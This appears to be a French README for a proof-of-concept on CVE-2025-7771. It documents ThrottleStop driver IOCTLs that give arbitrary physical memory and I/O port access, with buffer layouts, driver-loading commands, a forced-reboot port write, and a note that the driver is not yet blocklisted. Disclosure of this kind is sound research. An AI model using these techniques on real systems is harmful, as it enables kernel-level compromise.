
CVE-2025-7771 : Lecture/écriture arbitraire de mémoire physique et de ports d'E/S via le pilote ThrottleStop
CVE-2025-7771 : Lecture/écriture arbitraire de mémoire physique et de ports d'E/S via le pilote ThrottleStop
ThrottleStop est une petite application légitime utilisée pour surveiller et corriger le throttling du CPU. Elle dispose d'un pilote qui facilite ces tâches et qui n'effectue pratiquement aucune validation des entrées.
| IOCTL | Vulnérabilité |
|---|---|
| 0x80006498 | Lecture mémoire arbitraire |
| 0x8000649C | Écriture mémoire arbitraire |
| 0x80006430 | Lecture de port arbitraire |
| 0x80006434 | Écriture de port arbitraire |
Il semble également y avoir une lecture et écriture MSR arbitraire, mais je n'ai pas réussi à les faire fonctionner.
N'hésitez pas à regarder par vous-même.
La lecture MSR se fait à 0x80006448 et l'écriture à 0x8000644C.
Si vous parvenez à les faire fonctionner, veuillez soumettre une issue décrivant la procédure.
Tous les appels IOCTL mentionnés ci-dessous sont implémentés dans le fichier Exploit.c.
L'IOCTL 0x80006498 mappe toute adresse physique fournie dans l'espace noyau en utilisant MmMapIoSpace et en lit 1, 2, 4 ou 8 octets. Les données sont ensuite copiées dans l'espace utilisateur.
Pour déclencher cet IOCTL, utilisez DeviceIoControl avec l'adresse physique en entrée et la taille du tampon de sortie égale à la taille de lecture (1, 2, 4 ou 8).
Code simplifié pour cet IOCTL dans le pilote :
case 0x80006498: {
size_t readSize = inputBuffer->Size; // doit être 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
Similaire à la lecture, l'IOCTL 0x8000649C mappe l'adresse physique fournie dans l'espace noyau en utilisant MmMapIoSpace et en lit 1, 2, 4 ou 8 octets.
Pour déclencher cet IOCTL, utilisez DeviceIoControl avec la disposition suivante du tampon d'entrée :
struct {
ULONGLONG PhysicalAddress; // 8 octets
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
La taille du tampon d'entrée sera de 8 + (1, 2, 4 ou 8) selon la taille d'écriture.
Le tampon de sortie et sa taille ne sont pas utilisés.
Code simplifié pour cet IOCTL dans le pilote :
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // doit être 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
L'IOCTL 0x80006430 permet à un utilisateur de spécifier un port d'E/S et de lire directement dessus en utilisant __inbyte, __inword ou __indword.
Le tampon d'entrée est un USHORT et sa taille doit être sizeof(USHORT).
Le tampon de sortie contiendra le résultat (1, 2 ou 4 octets selon la taille demandée) et la taille de sortie peut être 1, 2 ou 4.
Code simplifié pour cet IOCTL dans le pilote :
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2 ou 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
Similaire à la lecture de port, l'IOCTL 0x80006434 permet à un utilisateur de spécifier un port d'E/S et d'écrire des valeurs arbitraires dessus avec __outbyte, __outword ou __outdword.
La disposition du tampon d'entrée est :
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignement
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
La taille du tampon d'entrée doit être sizeof(USHORT) + sizeof(Value) (+ padding). Le tampon de sortie et sa taille ne sont pas utilisés.
Code simplifié pour cet IOCTL dans le pilote :
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2 ou 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
Cette traduction est possible en abusant de Superfetch, un module noyau légitime qui expose la traduction d'adresses virtuelles en adresses physiques en utilisant des API non documentées. Le code correspondant est implémenté dans vtop.c
Ce projet peut être compilé avec Meson. Il lit le champ UniqueProcessId en résolvant la structure EPROCESS du processus System via PsInitialSystemProcess et vérifie s'il est égal à 4 (implémenté dans Main.c et les fonctions de recherche d'EPROCESS d'un PID spécifique sont implémentées dans EProcess.c). De plus, il demande à l'utilisateur s'il souhaite forcer le redémarrage de son système. Cela est possible en écrivant la valeur 0x0E sur le port 0xCF9.
Avertissement : Tout a été testé sur Windows 11 build 24H2. Les décalages dans la structure EPROCESS peuvent être différents sur votre système.
Compilez le projet avec :
meson setup build
Cela créera le répertoire de compilation. Compilez ensuite le projet avec :
meson compile -C build
Le pilote est disponible dans le répertoire Drivers du dépôt. Les pilotes ThrottleStop peuvent être extraits directement du programme ThrottleStop.exe via Resource Hacker. Vous trouverez 2 pilotes - x64 et x86. DriverObject->MajorFunction[14] contient la fonction de dispatch où tous les IOCTL ont été implémentés.
Créez et démarrez le pilote avec :
sc create ThrottleStop binPath="<Chemin>" type=kernel
sc start ThrottleStop
https://github.com/jonomango/superfetch
Ce pilote n'a pas encore été ajouté à la liste de blocage des pilotes Microsoft ni à loldrivers.